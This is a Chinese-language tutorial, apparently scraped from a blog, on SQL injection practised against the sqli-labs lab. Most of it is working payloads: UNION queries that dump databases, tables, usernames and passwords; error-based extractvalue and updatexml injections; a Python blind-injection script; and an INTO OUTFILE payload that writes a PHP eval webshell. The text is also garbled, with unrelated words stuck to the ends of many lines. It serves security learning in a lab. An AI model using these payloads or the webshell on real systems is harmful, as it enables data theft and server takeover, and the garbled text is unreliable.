sql注入判斷流程(結合sqli-labs學習)

sql注入判斷流程(結合sqli-labs學習)

類型一

  1. 類型判斷
    ?id=1 and 1=2 --+php

    若是返回結果正常,說明不是數字類型python

    and 爲兩方都爲真纔算爭取sql

?id=1' --+ 顯示不正常
?id=1') --+ 若顯示正常,則該類型爲字符注入,且以('')的方式閉合字符串,還有("")數據庫

--+ 是註釋,由於瀏覽器在發送請求的時候會把URL末尾的空格捨去,因此咱們用--+代替-- ,緣由是+在URL被URL編碼後會變成空格。瀏覽器

  1. 利用order by查看有多少列
    ?id=1 order by 1 --+
    ?id=1 order by 2 --+
    ... 一直到出現 Unknown column '行數' in 'order clause' 爲止服務器

    小技巧:能夠選擇一個較大的數字來分組函數

  2. 查詢數據庫名
    ?id=-1' UNION SELECT 1, (SELECT GROUP_CONCAT(SCHEMA_NAME) from information_schema.schemata),3 --+post

    id=-1' 是爲了後面的內容可以正確顯示,若前面能直接查詢,後面可能查詢不完整學習

  3. 經過查詢到的數據庫名查看錶名
    ?id= -1' union select 1,(select group_concat(schema_name) from information_schema.schemata), (select group_concat(table_name) from information_schema.tables where table_schema='數據庫名') --+測試

  4. 利用表名爆破列名
    ?id =-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

  5. 整合信息
    ?id=-1' union select 1, (select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

類型二 報錯盲注

  1. 按照類型一沒法判斷是否有存在注入
  2. 無論如何注入都顯示報錯信息可嘗試使用三種方式進行注入
  3. floor函數(取整)
    ?id=1' and (select 1 from (select count(),concat(0x7e,database(),0x7e,floor(rand()2)) as a from information_schema.tables group by a)as b)limit 0,1--+

    若返回 Subjectquery returns more than 1 row 多是由於限制了返回的字符長度
    0x7e 是符號‘~’的十六進制

    限制64位

  4. extractvalue函數
    ?id=1' and extractvalue(1,concat(0x7,(select database()),0x7e)) limit 0,1--+

    select database() 可替換爲其餘查詢語句
    extractvalue(XML_document, XPath_string);

    返回長度爲32個字符長度

  5. updatexml函數
    ?id=1' and updatexml(1,concat(0x3a,(select database())),1) limit 0,1--+

    select database() 可替換爲其餘查詢語句
    updatexml(XML_document, XPath_string,new_value);

    返回長度爲32個字符長度

類型三 導出文件到本地,一句話木馬

  1. 瞭解
    file權限:數據庫用戶是否有權限向操做系統寫入和讀取已存在的權限
    into outfile:服務器上一個能夠寫入文件的文件夾的完整路徑

  2. 將結果保存在本地文件
    ?id=1')) union select 1,2,3 into outfile '有讀取權限的路徑\文件名.文件類型'; --+

    注意使用''進行轉義,即路徑寫爲‘\’
    不會覆蓋已存在的文件名

  3. 嘗試一句話木馬
    ?id=1')) union selet 1,2,'<?php @eval($_post['test']); ?>' into outfile '有讀取權限的路徑\文件名.php'; --+

  4. 可嘗試使用中國菜刀等軟件

注意MySQL 5.7版本以後into outfile默認是禁用的,須要從新走一下初始化

在ini或者cnf初始化文件中加入初始化設定 secure_file_priv=''

類型四 布爾盲注

  1. 經常使用函數
    1.1 mid(string,start,length)函數

    string(必需)規定要返回其中一部分的字符串
    start(必需)規定開始位置(起始值爲1)
    length(可選)要返回的字符數。若是省略,則mid()函數返回剩餘文本

1.2 substr(string,start,length) 函數

string(必需)規定要返回其中一部分的字符串
start(必需)規定在字符串的何處開始
length(可選)規定被返回字符串的長度

1.3 left(string, length)函數

string(必需)規定要返回其中一部分的字符串
length(可選)規定被返回字符串的前length長度的字符

  1. 判斷數據庫名字長度
    ?id=1' and length(database())=8 --+
  2. 數據庫字符串判斷
    ?id=1' and left(database(),1)='字符串' --+

    數據庫第一個字符串是否等於'字符串'
    數據庫第二個字符串即,left(database(),1)='字符串',通常使用python腳本進行判斷

import requests
import os
 
#此函數先判斷數據庫長度
def length(url,str):
    num = 1
    while True:
        str_num = '%d' %num
        len_url = url + "' and (select length(database()) = " + str_num +")--+"
        response = requests.get(len_url)
        if str in response.text:
            print("數據庫長度爲:%s" %str_num)
            content(url,str,num)
            break
        else:
            num = num + 1
 
#此函數判斷字符串具體的內容
def content(url,str,num):
    s = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
    con_num = 1
    while con_num <= num:
        str_num = '%d' %con_num
        for i in s:
            con_url = url + "' and (select mid(database(),"+ str_num +",1)='"+ i +"')--+"
            response = requests.get(con_url)
            if str in response.text:
                fwrite(i)
        con_num = con_num + 1
#此函數對字符串的內容作記錄並輸出
def fwrite(i):
    # fp = open("cache.txt",'a')
    # fp.write(i)
    # fp.close()
    print(i)
if __name__ == '__main__':
    url = "http://localhost/sqli-labs/Less-5/?id=1"
    response = requests.get(url)
    str = "You are in..........."
    if str in response.text:
        length(url,str)
    else:
        print("請輸入正確的地址")

類型五 時間盲注

  1. 時間盲注原理
    經過IF來判斷咱們輸入是否正確,若是正確馬上返回,若是錯誤則延遲數秒返回。
    網站關閉了錯誤回顯或過濾了關鍵字,網頁只會返回狀態。

  2. 測試

常見錯誤排除

Please input the ID as parameter with numeric value
錯誤排除:可能書寫爲?id = 1 ,不要有多餘的空格,應該寫爲?id=1
相關文章
相關標籤/搜索